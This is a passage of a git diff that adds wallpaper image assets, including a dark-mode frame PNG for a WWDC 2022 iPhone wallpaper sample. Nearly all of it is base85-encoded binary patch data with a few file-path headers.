zW0w8(Z1laWTW{P8y0Pl(P4-8%a!b<>zAe1p`6F@Lje7x0lzmtC*6V!#y~a()wGUH@koC&~y4+tJn7b?}mbE4c8Y6IE(_DK6{_@tG{z4TULQ> zdu$mPcmK(`=X=ar4q>$()kXVrTH1A5_WhUJZ?ZhP;MY%+xX#CBU+TU+y>}vt#G9n#`n z82otZ1=T{Wl3E>C4H-~Sn*X~dmb~G|n~OFJ>JDGcl>T=4-KHC>tP($H@?3Os`nF!T z#?C8OV4lv~4$mKNO#d|`RWG@@?D~&=)!QGRU$$<0>tU;_>$l&(Sth|=d(|!um>(EC MUHx3vIVCg!09LfCcK`qY literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe1.png new file mode 100644 index 0000000000000000000000000000000000000000..ecab7cd60c59e151e69c45284c837310bb643e83 GIT binary patch literal 50173 zcmeEucUY6z)^8j~ow0Fd6cG`y1d!eYqy$tf1Ox;{dXpwKNHK&Eunc%c1@sM4q>V!p zDM5M(pfZ$D6%eE(s05IfXaYnC33tC?&dix}zBBiH_q+E#-yfgPqsja3wfkOc{nl^o z_~UuAvpcr#+loLScA$+;St1adM&ZBTYzA+RX`FKh52D@|Z9;5J&*`{f{FPkYF_%4* z!u$h4IRc?)5Ekg_=Iar1;IfC8cL3@Tv##;b0dIHIA!`j&71KaNk1O6r;Xxi3!p$za zh5Nc`yB{*p->Mg;0~+x62ys0S=I<8}tP_ShBxqL$e1~5vA37iq3Gqc8vN1h>zz`GU zaX>>!LrLY3{?-F}LGGS9mZ#4AS{Xc{4qXWe3Di+m#$vHbSal^#ke9Nmwzjsiikh;T znj(-;48{e7xP~bP1RsW*Sa0K$N3dIvcVLJ&Cg1?vrt4))Xb9@iAy9tcZzJ;${H^hT z;9qAC);Z^i#q(Id?J_c{Eb8@S}3#6!G2|AjbQ z@=xMmtxZk;d=~!xf0#&c$mwffA%0!dKMd$^^A5g<3-nO7^a#d;2Dy2hzUC1Sa#*ky zpf?@EAP?6Nk5k|;>X4d>nuemPs-mjqMO7^w6)hb#O+^(g6_wwFO)>7?p1A)=SVKie zLmLR|{Jk_d9`3FouK$kwZwsyiORo751>yQYN~2$YAUKJsS0G_ebYJb9p>R@bIRM_BOn-@G1MVdjbCT-d$H}m zEEe>C0jL+~WW7;%cXiPIu3jG2-tHk+{;s{>OU`)&c>Qw`yib0i@Iki<@CG}pCK#lk zmd)>FV4^B2%753F?LU{n%5y+ZaHMpMyn{n9K{&yyb&a~DWM0@lp&Be!aDrR%a@nGzodS-|Cci< z=p$&i1n1NgEw*QWXIMQ)+O)F$+MVyk8uzSj@_SfedCGXe@5deC-KiGpl(dnWso+LV zMqmBZ&BJMyy=OuVvek1X_6b!_iR_^ki|o6y$w&0gkr+)Kb@kJyxz${p_@nITUa7lI^Gj`oZr^-& z<-2P#?Z@m|j4jQ#b#zRd<(0NG33EwDThxQgzOVa5SM?iJGlUlL-gm$BAez*;pFd=o zU%J@FRHmDk$<^HH+@~FK$>{zszZ~|t^t4s#>Cdem*=<9-wGnGW@de=mt<678Qc7vz z&nq^K;W}3I$_tr?1NC2?&P`|xM;J1Ho-(oH=pV&AAM!xoWjtS&4$-^v9m?{4+J~K1 z(Sy6L*j=ymec~*)G>6R`$A3fWuy%aGkXUG6o}7?8W$!gW>v!7=+|sv!Mz+BSgwkR7 z?}o4(gKG%H0R;NgiHl)rb5vZp2lj-_3I=L-kyhJ-KJe`OlZRvvw4J|m8LRrOsa=Lz zw)ZJr;{wGKwf397cC?X`yE)tw*&h5dY3jP>hO5TIdz>s|FBsayzxd1U8@pY%%6_lD zOO48DEoT2!%gZ{QTi3`Q;ij>d3m5Gx28u%)xK+#{FQG9!L;G8S&-`!q&-0&kuYCOW z)#zb}tVl78$uPQ6C5@xLBD#3gUmmkLij`W9LrU%qKUA3Q)|VdKEfIcbQ?W6N35}u_ zPT8P)&avdtJHbn_@1TW9#);Z~Ve*AIw7b>zY zCgW@QSp%7xu#f27)$)`ondMincHQv!{8wbA8CJdg$#`DD+QoOzogTdB@Vf4a5hMH; zGq=u-Jwx-Qo0w~9SY@P zlv3b<_;akG?Tu>~&sBHO$o{uNo?i%2>f?9O-6T*!xO}?@*Zm09+xvCL66JhtU$0ui zJn?ZzUe0Od5gEg2Gn0<4}Mt{W7=b=qf6P59x~pi&Iw!=LbKK4+6D|YKC+6x3Hy+s9GtDARR610S~YZ27! z>{CmG$KsWdSR`oL@0D7T;DtnDh2RCdq*Ks#%54wD^)?lP*V}YWS#MLQ!wzm!+_QYE zKr-KZNKkO0Pi}plxgP8DG%Z-4=c7yO^VCqp3tBpM-D-WFI||n4x$n~YJT(f91p+=c zIfBvlml&`2;A*u#&v>i#d3qMw2?RCWgauufi59HSv&*JgP}8qPZhfBWm)7T5Sk^9R zO7_{)UqAoV^B>>4N_udu!CuAMEUq{FLn%)ltn`_}^*z%(ImCYm*7I<}yffHB&C74r z2gFL47m_f>dOr4Bn*!nr|LQU7)A?HUZ5~_$Nn`A##M1hxBh(?#2b)^jfD9!(5XI0z==e*FF}t(WGpH%Awb-&eTnrr z#M!@nsdWA0KYaTArPuV45iKyQ0`yQr4X9z-zSJd@!}YPO!~`6nS`$kNY{Th>M+x(( zlE$1j*?wcAVCqK`<`-jn2^B|1X14=bi^@SUQ24VSNgXtFddLX_YThlar=71Q?eV~; zgPFgV9hrrjJzqH}4n%+QBf)*17;?e_(OaeUd?32n1J45^*wMaJ3)cQ5_ty5cLv}4! z8D}!S-qU?mG*Z&OX>-*Aj?~e$K?mJ>pWBQ4nwPVwMiT8 zY7HpDTz-0988J;`D)hKXrWxz?=Gh@p=VLuV%Ol9DE}XbMQ7@o-*5%Ar>`KH@YSLap z@rzm|BUT*P>7AH!teMTT+DHmh8fS4U^aYukK(|HH##|hya^!6#hFu(0Fj0y0P3VSE z7e|sQs}GEgeGLOKjaXZD41}J9u&t>`o1K#A!S5VEr5@8D?*xXz?MyT)YsWyD6vduM zE_qRV3?V7obQElUF&pe9G|E{bPUqmG_@2pP1~_r zj�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 